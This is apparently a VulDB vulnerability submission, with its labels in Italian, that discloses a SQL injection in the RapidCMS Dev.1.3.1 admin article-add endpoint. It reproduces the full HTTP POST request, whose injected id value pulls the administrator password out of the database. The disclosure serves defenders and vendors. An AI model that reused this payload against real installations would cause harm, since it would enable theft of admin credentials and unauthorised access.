| Titolo | RapidCMS Dev.1.3.1 was discovered to contain SQL injection vulnerability in the Website backend |
|---|
| Descrizione | description:RapidCMS Dev.1.3.1 was discovered to contain SQL injection(post) vulnerability in the Website backend
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/OpenRapid/rapidcms
[Affected Product Code Base]
RapidCMS Dev.1.3.1
[Affected Component]
File： /admin/article/article-add-run.php
Parameter： id
**the data packet which trigger sql injection:**
POST /admin/article/article-add-run.php HTTP/1.1
Host: localhost:8094
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: http://localhost:8094
Connection: close
Referer: http://localhost:8094/admin/article/article-add.php
Cookie: PHPSESSID=su3eg6251ks1n2i43n36fqbn46; admin=Y6W6Rbt6a5W546O0O0O7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
title=asdaw&file=&content=%3Cp%3Ewadawd%3Cbr%3E%3C%2Fp%3E&categoryid=1&id=1111111116",(select password from rapidcmsadmin),"%3Cp%3Ewadawd%3Cbr%3E%3C%2Fp%3E","2023-9-17","1") -- adawd
In the article viewing section(http://localhost:8094/admin/article/article.php),discovering that SQL injection has been triggered, retrieving the current user name of the database and display it in the title ,the screenshot of the injection result is included in https://github.com/yhy217/rapidcms-vul/issues/1
[Impact]
information disclosure
[Attack Type]
Remote
[Attack Vectors]
Net
The manufacturer has been notified |
|---|
| Fonte | ⚠️ https://github.com/yhy217/rapidcms-vul/issues/1 |
|---|
| Utente | jamspilly (UID 54414) |
|---|
| Sottomissione | 17/09/2023 12:01 (3 anni fa) |
|---|
| Moderazione | 17/09/2023 19:26 (7 hours later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 239875 [OpenRapid RapidCMS 1.3.1 article-add.php ID iniezione SQL] |
|---|
| Punti | 20 |
|---|